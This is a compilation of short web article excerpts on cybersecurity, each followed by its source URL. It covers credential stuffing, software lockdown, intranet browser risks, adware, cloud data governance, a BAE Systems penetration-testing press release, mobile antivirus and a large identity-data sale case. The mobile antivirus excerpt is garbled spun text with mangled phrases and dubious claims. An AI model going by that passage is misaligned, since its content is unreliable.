While there’s nothing to be done about taking back all the past breaches nor to reclaim the stolen credentials, we have many tools and strategies available to protect ourselves – both as individuals and organizations – from credential stuffing and other types of criminal cyberattacks.
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About the Author: Ross Moore is the Cyber Security Support Analyst with Passageways. He was Co-lead on SOC 2 Type 1 implementation and Lead on SOC 2 Type 2 implementation, facilitated the company’s BCP/DR TTX, and is a HIPAA Security Officer. Over the course of his 20 year IT career, Ross has served in a variety of operations and infosec roles for companies in the manufacturing, healthcare, real estate, business insurance, and technology sectors. He holds (ISC)2’s SSCP and CompTIA’s Security + certifications, a B.S. in Cyber Security and Information Assurance from WGU, and a B.A. in Bible/Counseling from Johnson University.
Editor’s Note: The opinions expressed in this guest author article are solely those of the contributor, and do not necessarily reflect those of Tripwire, Inc. | https://www.tripwire.com/state-of-security/stages-of-a-credential-stuffing-attack |
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By using this nine-step methodology, you will be able to navigate the cultural, operational, and technical challenges associated with instituting control over Windows software in use by an empowered workforce. The path presented will let you achieve the benefits of lockdown while preserving the liberty that PC users have grown deeply accustomed to. | http://www.infosectoday.com/Articles/Desktop_Dilemma.htm |
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Cesar Cerrudo, founder and CEO of Argennis, a security consulting firm in Argentina, has demonstrated that IE's default features for intranet "zones" can be abused to wage attacks on internal Web applications both from the outside and from within the organization. Cerrudo has released his findings, which show how default settings can be used both to detect and exploit vulnerabilities in intranet applications. [Comments... ] | https://aoaforums.com/frontpage/computer-security-59/5002-ie-7-and-8-default-security-leaves-intranets-at-risk.html |
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If you have high hopes for Dealz, we are certain that you know very little about this program. For example, do you know that this advertisement-supported program is associated with potentially unreliable advertisers? If you knew this, it is unlikely that you would have installed this adware onto your operating system and browsers. Speaking of installation, it is important for us to know how you installed this adware. Whether it was introduced to you as EverSave or dealz_europe, it is most likely that this ad-supported program came bundled with third-party software. We are certain of this because the official sites representing this app (dealz.yourshoppingwizard.com and dreamz.loveslife.biz) do not offer installers. Needless to say, these sites were created only to showcase an unreliable program as a beneficial, trustworthy, and reputable browsing assistant.
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Worldwide privacy regulations are creating the need for businesses to not only manage data, but to make it pseudonymized, easy for end-users to erase, and auditable both in terms of location and usage.
However, securing sensitive data across cloud-based repositories is difficult, as 70 percent said managing access in compliance with external or internal governance policies was hard – even after it was identified and classified. Worse, 81 percent were not confident that a request from a past customer to delete all information could be executed when stored in multiple cloud services.
The rise in digital transformation and the trend to migrate and manage data across multiple cloud providers is forcing organizations to think about how they are controlling access to sensitive information. Data access control is a common choice for managing data governance and compliance, but what’s in place today may not be the ideal solution tomorrow. In fact, 70 percent said they would require automated solutions for data governance and access control in the next 1-3 years. | https://www.helpnetsecurity.com/2021/05/17/privacy-regulations-cloud-migration/ |
2015-04-30T01:48:00+02:00 BAE Systems Applied Intelligence today announces that it has become the first company in the world to secure approval to deliver both Threat Intelligence and Penetration Testing services under the CBEST scheme.
The CBEST scheme has been created by the Bank of England, HM Treasury and the Financial Conduct Authority (FCA). The framework delivers penetration tests that replicate the field craft of the sophisticated cyber criminals that the threat intelligence has identified as presenting the greatest risk. The benefit to organisations is that the results will be directly linked to the business impacts of a likely attack from a real threat and therefore enable meaningful board action to create a proactive defence.
This intelligence-led penetration test framework is vital as such criminals are assessed by Government and commercial intelligence providers as posing a genuine threat to systemically important financial institutions (SIFIs). This is the next step in operational cyber defence and is the first such framework developed by industry body CREST to be led by a central bank.
The concept of an intelligence-led penetration test is one of the cornerstones of the CBEST scheme and the BAE Systems Applied Intelligence service will draw on the library of information it has gathered on the specific tools and techniques known to be employed by attackers with the means, motive and opportunity to target financial services.
This intelligence can then be used to specify realistic attack scenarios, simulated by penetration testing, to provide a meaningful insight to the vulnerability of an organisation’s network to cyber attack. Furthermore, these scenarios provide a useful operational context which can be used to determine the consequences to the business should such an attack succeed.
Scott McVicar, Managing Director, EMEA Commercial Solutions for BAE Systems Applied Intelligence, said:
“BAE Systems Applied intelligence is proud to be the first company to receive accreditation for both penetration testing and threat intelligence under the CBEST scheme.
“Intelligence-led penetration testing has to be based upon rich contextualized intelligence which informs and guides how the test should be conducted, what attack methods should be simulated and where testers should focus their resources. This method of testing provides a more structured and effective approach for companies to mitigate their cyber risk and understand the real effectiveness of the key technical security controls they have in place.”
The CBEST framework works alongside the STAR (Simulated Targeted Attack and Response) scheme developed by CREST and for which BAE Systems is also an approved supplier. While CBEST is available to nominated financial organisations, and will be performed with Bank of England and Government involvement, the CREST STAR scheme is available to all organisations who want to benefit from intelligence-led penetration testing.
At BAE Systems, we provide some of the world’s most advanced, technology-led defence, aerospace and security solutions and employ a skilled workforce of some 83,400 people in over 40 countries. Working with customers and local partners, we develop, engineer, manufacture and support products and systems to deliver military capability, protect national security and people and keep critical information and infrastructure secure.
BAE Systems Applied Intelligence is a business division of BAE Systems that delivers solutions that help clients to protect and enhance their critical assets in the intelligence age. Our intelligent protection solutions combine large-scale data exploitation, ‘intelligence-grade’ security and complex services and solutions integration. We operate in four key domains of expertise: cyber security, financial crime, communications intelligence and digital transformation.
Leading enterprises and government departments use our solutions to protect and enhance their physical infrastructure, mission-critical systems, valuable intellectual property, corporate information, reputation and customer relationships, competitive advantage and financial success. | http://www.baesystems.com/en/article/bae-systems-applied-intelligence-is-first-company-in-the-world-to-gain-cbest-approval-for-delivery-of-both-threat-intelligence-and-penetration-testing-services |
A portable antivirus is known as a software program that defends your mobile phone out of malware attacks and phishing schemes. It also secures your personal data and optimizes the phone to avoid unnecessary info usage. Additionally, it helps you identify apps which might be using up an excessive amount of data. A mobile anti virus can secure your smartphone against many threats, which includes identity fraud.
Malware can easily infect your phone in lots of ways, including causing program problems and corrupting private information. Malware that infects cell phones can be grouped as a Trojan’s or earthworm. Trojans are made to connect to the device discreetly, while worms can reproduce themselves around a network. A computer virus, on the other hand, propagates by applying itself into legitimate applications and running them in seite an seite.
Malware problems occur in 3 phases: irritation of the host, accomplishment for the goal, and spread to other units. A malevolent app can modify or erase data on your own unit, as well as make a backdoor just for future strategies. Malware could also conduct wiretaps, and get spread around through SMS and emails. Spyware and also has the actual to trigger monetary harm.
Avira is among the best cell antivirus programs for Android os devices. This program avast vs total av is normally free to get, and that compares applications to the version on Google Play and notifies you of any differences. It’s also regarded highly by users, having a 4. 6/5 rating for the Google Enjoy store. Avira also has an impressive collection of functions, including 100MB of VPN usage per moment, a accord manager, and identity safety. | https://ua.ejo-online.eu/5916/uncategorized/what-is-mobile-antivirus-security-software |
In what could be one of the biggest data breaches in history, the federal government and authorities in several states are investigating the criminal sale of Social Security numbers, bank account data and other personal information for up to 200 million U.S. citizens.
The investigations stem from the case of Hieu Minh Ngo, a Vietnamese man who pleaded guilty last month in New Hampshire federal court to selling the data to more than 1,300 of his customers, according to a court transcript.
The breach is the latest demonstration of the growing vulnerability of personal information in the digital age, and is particularly troubling because of the involvement of Social Security numbers.
Authorities in several states and the federal government are investigating the unauthorized access of Social Security numbers, bank account data and other personal information for up to 200 million U.S. citizens. (AP Photo/Damian Dovarganes, File) “It’s scary,” said Eric Chiu, president of Mountain View security company HyTrust. “That could be information used to steal our identities or drain our bank accounts.”
The court records said Ngo obtained the personal data from Ohio-based U.S. Info Search through Court Ventures, a Southern California firm bought by consumer credit-reporting giant Experian in March 2012. Court Ventures’ customers typically used U.S. Info Search’s data to find court records.
“Ngo contracted with Court Ventures fraudulently representing that he was a private investigator from Singapore,” the records said, adding that he ran a business from his home and sold the data from websites he administered.
The information he peddled included “names, addresses, Social Security numbers, dates of birth, places of work, duration of work, dates of employment, state driver’s license numbers, mother’s maiden names, bank account numbers, bank routing numbers, email account names and addresses and other account passwords,” the court records said.
The prosecutor in Ngo’s case testified that the crook’s customers had “access to the U.S. Info Search database containing 200 million U.S. citizens’ information,” though he said the government didn’t know how many people actually had data stolen.
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